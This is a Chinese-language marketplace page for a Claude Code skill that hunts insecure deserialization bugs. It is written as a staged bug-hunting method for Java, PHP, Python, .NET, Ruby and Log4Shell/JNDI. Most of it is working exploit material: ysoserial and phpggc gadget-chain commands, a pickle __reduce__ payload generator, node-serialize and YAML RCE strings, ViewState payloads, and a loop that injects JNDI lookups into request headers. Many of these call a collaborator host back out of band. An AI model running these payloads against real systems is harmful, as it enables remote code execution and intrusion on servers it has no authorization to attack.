mcpField
H
hunt-deserialization

hunt-deserialization

github.com/elementalsouls安全5.3k256 次安装今天更新
代码仓库

关于 hunt-deserialization

hunt-deserialization 是面向安全测试人员的反序列化漏洞狩猎技能,涵盖 Java、PHP、Python、.NET、Ruby 及 JNDI 等攻击面,并提供分阶段测试与验证方法。

主要功能

  1. 01识别序列化数据与攻击面信号
  2. 02测试多种语言的反序列化漏洞
  3. 03使用带外回连验证盲执行
  4. 04验证命令执行与漏洞影响

适用场景

  1. 01审查应用中的反序列化入口
  2. 02测试序列化数据是否可触发命令执行
  3. 03通过带外回连确认盲漏洞

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-deserialization

安装后在 Claude Code 中输入/hunt-deserialization确认已加载。

详细介绍

HUNT-DESERIALIZATION — 不安全反序列化

皇冠明珠目标

反序列化漏洞几乎总是严重级别,因为它们无需前置条件即可直接导致 RCE。

最高价值的利用链:

  • Java ysoserial gadget 链 — CommonsCollections、Spring、JNDI、Groovy gadget → 完整的 OS 命令执行
  • PHP 对象注入 — __wakeup / __destruct 魔术方法 → 文件写入 / RCE
  • Python pickle — pickle.loads(attacker_data) → __reduce__ → os.system('id')
  • .NET BinaryFormatter — TypeConfuseDelegate gadget 链 → RCE
  • Ruby Marshal.load — Gem::Requirement、Gem::Installer gadget → RCE
  • JNDI 注入 — Log4Shell 模式:${jndi:ldap://attacker/a} → 类加载 → RCE

攻击面信号

检测模式
# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1  # shows: ac ed 00 05

# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02

# Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"

# Log4j: test user-controlled fields for JNDI interpolation
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/
请求头 / Cookie 信号
Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/

分步漏洞搜寻方法

阶段 1 — Java 反序列化(ysoserial)
# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
  'curl http://COLLAB_HOST/ysoserial' | base64 -w0

# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
  curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
    -H "Content-Type: application/x-java-serialized-object" \
    --data-binary @-

# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"
阶段 2 — PHP 对象注入
# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .

# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes → deserialization confirmed

# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l  # list chains
php phpggc Laravel/RCE5 system id | base64
阶段 3 — Python Pickle
# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"

# Send as cookie or POST body
curl -s https://$TARGET/api/load-model \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.pkl
阶段 3b — PHP phar://、Python YAML、Node 反序列化
  • PHP phar://(无需调用 unserialize()) — 对 phar:// 路径使用任何文件系统函数(file_exists/fopen/getimagesize)都会反序列化归档元数据 -> 即使代码中完全没有 unserialize(),也能实现对象注入。
    phpggc -p phar -o poly.jpg Monolog/RCE1 system id   # valid-image + phar polyglot
    # then reach  phar://uploads/poly.jpg/x  via any fs call
    
  • Python yaml.load()(CVE-2017-18342) — 5.1 之前的默认配置不安全: !!python/object/apply:os.system ['curl http://$COLLAB/yaml']
  • Node node-serialize(CVE-2017-5941) — 传入 unserialize() 的任意字段中都可以包含 IIFE 标记: {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}
阶段 4 — .NET ViewState
# Check if ViewState is unsigned (MAC disabled)
# Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC

# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
  -c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64
阶段 5 — Log4Shell / JNDI
# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
  curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done

# Test POST body fields
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"
阶段 6 — Ruby Marshal
# Look for Marshal.load in source
grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .

# Gem::Requirement gadget chain via marshalable objects
# Use ruby-advisory-db gadgets

利用链表

反序列化信号后续利用影响
任意反序列化 RCE/etc/passwd + id 输出证明可执行任意命令
以低权限用户身份执行 RCE查找 SUID 二进制文件 / sudo 规则权限提升 → root
无回显 RCE(OOB 回调)DNS 回调 → 确认执行足以构成严重级别 PoC
Log4ShellLDAP → JNDI → 类加载JVM 进程上实现完整 RCE

自动化

# OOB listener
interactsh-client -v -n 5

# JNDI exploit kit
git clone https://github.com/pimps/JNDI-Exploit-Kit

验证

✅ 来自 COLLAB 主机的 DNS/HTTP 回调:已确认盲反序列化
✅ 响应中包含命令输出:已确认完整 RCE

严重程度: 几乎总是 严重 — 以服务器进程权限执行 RCE。

评论

支持 Markdown